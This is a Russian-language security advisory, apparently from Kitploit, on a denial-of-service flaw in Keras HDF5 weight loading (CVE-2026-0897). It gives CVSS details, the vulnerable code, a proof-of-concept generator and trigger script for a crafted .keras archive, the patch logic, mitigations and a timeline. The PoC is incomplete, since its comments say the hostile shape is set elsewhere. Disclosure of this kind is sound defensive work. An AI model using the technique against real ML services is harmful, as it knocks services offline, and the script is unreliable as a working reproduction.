CVE-2026-0897 — Выделение ресурсов без ограничений или регулирования в компоненте загрузки весов HDF5 в Google Keras 3.0.0–3.13.0 на всех платформах позволяет удалённому злоумышленнику вызвать отказ в обслуживании (DoS) через исчерпание памяти и сбой интерпретатора Python с помощью специально созданного файла .keras | Kitploit

Файл	Описание
`keras/src/saving/file_editor.py`	`KerasFileEditor._extract_weights_from_store()` — считывает форму набора данных HDF5 и выделяет память без проверки размера или регулирования

Метрика	Значение	Смысл
Attack Vector (AV)	Сетевой	Эксплуатируется удалённо через распространяемый файл модели
Attack Complexity (AC)	Низкая	Не требуются особые условия или состояния гонки
Attack Requirements (AT)	Нет	Не требуется предварительной конфигурации развёртывания
Privileges Required (PR)	Нет	Не требуется аутентификация или учётная запись
User Interaction (UI)	Пассивное	Жертва должна загрузить вредоносный архив `.keras`
Vulnerable System Availability (VA)	Высокий	Интерпретатор Python аварийно завершается; сервис становится полностью недоступным
Vulnerable System Confidentiality (VC)	Нет	Утечки данных нет
Vulnerable System Integrity (VI)	Нет	Изменения данных нет
Subsequent System Impact (SC/SI/SA)	Нет	Воздействие ограничено процессом загрузки

Контекст	Риск
Публичные API обслуживания моделей, принимающие загружаемые пользователями файлы `.keras`	Атакующий обрушивает сервис инференса одним запросом
ML-платформы, размещающие загрузки моделей от сообщества (например, Hugging Face)	Отравленная модель вызывает DoS для любого исследователя, который скачает и загрузит её
Среды федеративного обучения	Злоумышленный участник распространяет специально созданный файл весов, чтобы обрушить координатор или узлы-пиры
CI/CD-конвейеры, загружающие контрольные точки моделей	Скомпрометированная или подменённая контрольная точка вызывает сбой конвейера и его недоступность
Чат-боты или NLP-сервисы, выполняющие горячую перезагрузку моделей во время выполнения	Один вредоносный запрос на перезагрузку выводит сервис из строя

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Действие	Описание
Обновите Keras	Обновитесь до версии, включающей исправление из PR #21880 (сборки master после 3.13.0 или любой официальный выпуск с патчем)
Не загружайте недоверенные файлы моделей	Никогда не загружайте файлы `.keras` или `.weights.h5` из недоверенных, непроверенных источников или источников от сообщества без предварительной проверки целостности
Проверяйте целостность файлов	Сверяйте SHA-256 контрольные суммы архивов моделей с хешами, предоставленными издателем, перед загрузкой
Предварительное сканирование с помощью h5dump	Используйте `h5dump --header <file>` для проверки метаданных формы наборов данных в файлах HDF5 перед их загрузкой в Keras
Минимальные привилегии	Запускайте процессы обслуживания моделей от ограниченного пользователя ОС с лимитами памяти через cgroups или `ulimit`, чтобы ограничить радиус поражения
Контейнеризация	Изолируйте загрузку моделей в контейнере-песочнице с лимитами памяти, чтобы один сбой не влиял на другие сервисы
Мониторинг памяти	Оснастите операции загрузки моделей инструментами для оповещения об аномальных паттернах выделения памяти

Дата	Событие
29 ноября 2025	Исправление PR #21880 отправлено в keras-team/keras автором HyperPS
1 декабря 2025	Мейнтейнер Keras hertschuh запрашивает ссылки; начинается рецензирование
26 декабря 2025	Рецензирование мейнтейнером завершено; учтены финальные замечания
29 декабря 2025	PR #21880 одобрен и объединён в `keras-team:master`
15 января 2026	CVE-2026-0897 опубликована в NVD
19 января 2026	Открыт запрос на бэкпорт в Keras 3.12.x (Issue #22031)
23 января 2026	Запись NVD последний раз изменена

Ресурс	Ссылка
Запись NVD	https://nvd.nist.gov/vuln/detail/CVE-2026-0897
Официальная запись CVE	https://cve.org/CVERecord?id=CVE-2026-0897
Уведомление GitHub (GHSA)	https://github.com/advisories/GHSA-xfhx-r7ww-5995
Pull request с исправлением	https://github.com/keras-team/keras/pull/21880
Коммит слияния	https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
Запрос на бэкпорт	https://github.com/keras-team/keras/issues/22031
Keras на PyPI	https://pypi.org/project/keras/
CWE-770	https://cwe.mitre.org/data/definitions/770.html
Документация формата HDF5	https://www.hdfgroup.org/solutions/hdf5/

CVE ID	CVE-2026-0897
Пакет	`keras` (Google Keras)
Реестр	PyPI
Затронутые версии	с `3.0.0` по `3.13.0` (включительно)
Тип уязвимости	CWE-770: выделение ресурсов без лимитов или регулирования
Оценка CVSS	7.1 (высокий) (CVSS 4.0, CNA: Google Inc.)
Вектор CVSS	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
Вектор атаки	Сетевой
Сложность атаки	Низкая
Требуемые привилегии	Не требуются
Взаимодействие с пользователем	Пассивное (жертва загружает файл модели)
Влияние на доступность	Высокое
Влияние на конфиденциальность	Отсутствует
Влияние на целостность	Отсутствует
Опубликовано в NVD	15 января 2026 г.
Последнее изменение в NVD	23 января 2026 г.
Источник / CNA	Google Inc.
Сообщил	HyperPS (Sarvesh Patil) через huntr.dev / GHSA
Статус исправления	Объединено — PR #21880

CVE-2026-0897

Популярное

Описание

Описание

Затронутый компонент

Разбивка вектора CVSS 4.0

Воздействие

Контексты развёртывания с высоким риском

Технические детали

Механизм атаки: HDF5 Shape Bomb

Уязвимый участок кода (до исправления)

Доказательство концепции (PoC)

Создание вредоносного архива `.keras`

Запуск DoS-атаки

Исправление

Что реализует исправление

Патч (упрощённая иллюстрация)

Устранение уязвимости

Хронология

Ссылки

Отказ от ответственности

Ресурс	Ссылка
Pull request с исправлением	https://github.com/keras-team/keras/pull/21880
Коммит слияния	`7360d4f`
Запрос на бэкпорт (3.12.x)	Issue #22031

CVE-2026-0897

Популярное

Описание

CVE-2026-0897 — Google Keras: отказ в обслуживании через HDF5 Shape Bomb при загрузке весов

Обзор

Описание

Затронутый компонент

Разбивка вектора CVSS 4.0

Воздействие

Контексты развёртывания с высоким риском

Технические детали

Механизм атаки: HDF5 Shape Bomb

Уязвимый участок кода (до исправления)

Доказательство концепции (PoC)

Создание вредоносного архива .keras

Запуск DoS-атаки

Исправление

Что реализует исправление

Патч (упрощённая иллюстрация)

Устранение уязвимости

Хронология

Ссылки

Отказ от ответственности

Создание вредоносного архива `.keras`